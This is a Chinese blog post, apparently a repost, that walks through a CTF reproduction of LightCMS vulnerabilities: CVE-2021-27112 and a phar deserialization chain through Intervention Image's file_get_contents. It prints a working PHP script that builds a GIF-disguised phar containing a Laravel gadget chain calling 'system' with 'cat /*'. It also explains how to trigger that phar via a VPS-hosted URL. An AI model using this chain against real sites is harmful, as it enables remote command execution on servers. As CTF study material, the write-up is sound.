飞道的博客

[HMBCTF 2021]EzLight 复现

211人阅读  评论(0)

前言

去突击了一个星期的计算方法期末考试,中间耽误了很多比赛题目的复现。今年红帽最后的那道EzLight赛后也有了writeup,直到今天才有时间去复现一下。
参考了郭院士和颖奇师傅的文章:
lightcms后台RCE漏洞挖掘
lightcms全版本后台rce 0day分析
他们的文章讲的已经非常非常的详细了,因此我这里就不做过多的解释了。就是跟着大师傅们的思路,也自己把这个代码的流程看了一遍,因此我这篇文章其实没啥看的,就是我自己记录一下我的复现过程,师傅们看郭院士和颖奇师傅的文章就可以了。

复现

网上直接搜的话可以搜到这个CVE:CVE-2021-27112。这个也是郭院士挖出来的,可以查到issue:
Arbitrary file read & RCE vulnerability in "catchImage
app/Http/Controllers/Admin/NEditorController.phpcatchImage

这里简单使用了 file_get_contents来获取文件内容,并保存,所以我们可以使用file协议实现任意文件读取等ssrf操作。更危险的是这里的逻辑是取到的文件名后缀是什么,保存的就是什么后缀,所以我们可以放一个php一句话在服务器上,然后来请求,那么我们就可以getshell。

之后进行了修复,郭院士又挖了个0day。我觉得最难想的就是联想到利用phar反序列化。一般可能我是需要看到文件操作的函数才有可能联想到phar的反序列化,而郭院士则是先考虑利用反序列化再去利用文件操作的函数,而且确实找到了,膜。

从这里fetchImageFile函数入手

进入后是一个curl请求资源:

    protected function fetchImageFile($url)
    {
   
        try {
   
            if (!filter_var($url, FILTER_VALIDATE_URL)) {
   
                return false;
            }

            $ch = curl_init();
            $options =  [
                CURLOPT_URL => $url,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.2 (KHTML, like Gecko) Chrome/22.0.1216.0 Safari/537.2'
            ];
            curl_setopt_array($ch, $options);
            $data = curl_exec($ch);
            curl_close($ch);
            if (!$data) {
   
                return false;
            }

            if (isWebp($data)) {
   
                $image = Image::make(imagecreatefromwebp($url));
                $extension = 'webp';
            } else {
   
                $image = Image::make($data);
            }
        } catch (NotReadableException $e) {
   
            return false;
        }

        $mime = $image->mime();
        return [
            'extension' => $extension ?? ($mime ? strtolower(explode('/', $mime)[1]) : ''),
            'data' => $data
        ];
    }

对请求到的内容还有一个处理:

            if (isWebp($data)) {
   
                $image = Image::make(imagecreatefromwebp($url));
                $extension = 'webp';
            } else {
   
                $image = Image::make($data);
            }

跟进Image::make方法,中间会经过一些函数,本地打一下断点跟进一下,最终是进到这里:

    public function init($data)
    {
   
        $this->data = $data;
        $a = (bool) filter_var($this->data, FILTER_VALIDATE_URL);
        switch (true) {
   

            case $this->isGdResource():
                return $this->initFromGdResource($this->data);

            case $this->isImagick():
                return $this->initFromImagick($this->data);

            case $this->isInterventionImage():
                return $this->initFromInterventionImage($this->data);

            case $this->isSplFileInfo():
                return $this->initFromPath($this->data->getRealPath());

            case $this->isBinary():
                return $this->initFromBinary($this->data);

            case $this->isUrl():
                return $this->initFromUrl($this->data);

            case $this->isStream():
                return $this->initFromStream($this->data);

            case $this->isDataUrl():
                return $this->initFromBinary($this->decodeDataUrl($this->data));

            case $this->isFilePath():
                return $this->initFromPath($this->data);

            // isBase64 has to be after isFilePath to prevent false positives
            case $this->isBase64():
                return $this->initFromBinary(base64_decode($this->data));

            default:
                throw new NotReadableException("Image source not readable");
        }
    }

比赛的时候自己也跟到这里了,也调了几个函数看,但是是真的真的想不到利用phar反序列化,真的有些膜郭院士的思路,其实也是自己对于laravel一点不熟,如果换成thinkphp的说不定自己还能想到反序列化。还是太菜了,有空再学一波laravel的反序列化。
跟进这里:

            case $this->isUrl():
                return $this->initFromUrl($this->data);

可以发现正好有一个file_get_contents函数:

    public function initFromUrl($url)
    {
   
        
        $options = [
            'http' => [
                'method'=>"GET",
                'header'=>"Accept-language: en\r\n".
                "User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.2 (KHTML, like Gecko) Chrome/22.0.1216.0 Safari/537.2\r\n"
          ]
        ];
        
        $context  = stream_context_create($options);
        

        if ($data = @file_get_contents($url, false, $context)) {
   
            return $this->initFromBinary($data);
        }

        throw new NotReadableException(
            "Unable to init from given url (".$url.")."
        );
    }

这里的$url就是一开始curl请求得到的data。至此整个利用就清晰了。按照文章中的攻击方式打一遍。
获得phar图片:

<?php

namespace Illuminate\Broadcasting{
   
    class PendingBroadcast
    {
   
        protected $events;
        protected $event;

        public function __construct($events, $event)
        {
   
            $this->events = $events;
            $this->event = $event;
        }

    }

    class BroadcastEvent
    {
   
        protected $connection;

        public function __construct($connection)
        {
   
            $this->connection = $connection;
        }
    }

}

namespace Illuminate\Bus{
   
    class Dispatcher{
   
        protected $queueResolver;

        public function __construct($queueResolver)
        {
   
            $this->queueResolver = $queueResolver;
        }

    }
}

namespace{
   
    $command = new Illuminate\Broadcasting\BroadcastEvent('cat /*');

    $dispater = new Illuminate\Bus\Dispatcher("system");

    $PendingBroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispater,$command);
    $phar = new Phar('phar.phar');
    $phar -> stopBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
    $phar -> addFromString('test.txt','test');
    $phar -> setMetadata($PendingBroadcast);
    $phar -> stopBuffering();
    rename('phar.phar','phar.jpg');

}

然后上传:

本地vps那里写:

这里我踩了一个坑。如果在vim里写的话,你curl得到的不是

phar://./upload/image/202105/oqhLzf3OsO6hnFswe0P9XhKHZe19XNh51SttFxvO.gif

而是:

phar://./upload/image/202105/oqhLzf3OsO6hnFswe0P9XhKHZe19XNh51SttFxvO.gif\n

就因为后面多了那个\n,导致这里过不了,返回的是false:

    public function isUrl()
    {
   
        return (bool) filter_var($this->data, FILTER_VALIDATE_URL);
    }

所以我就不用vim写了。然后直接请求,phar反序列化攻击成功:


转载:https://blog.csdn.net/rfrder/article/details/116994343
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场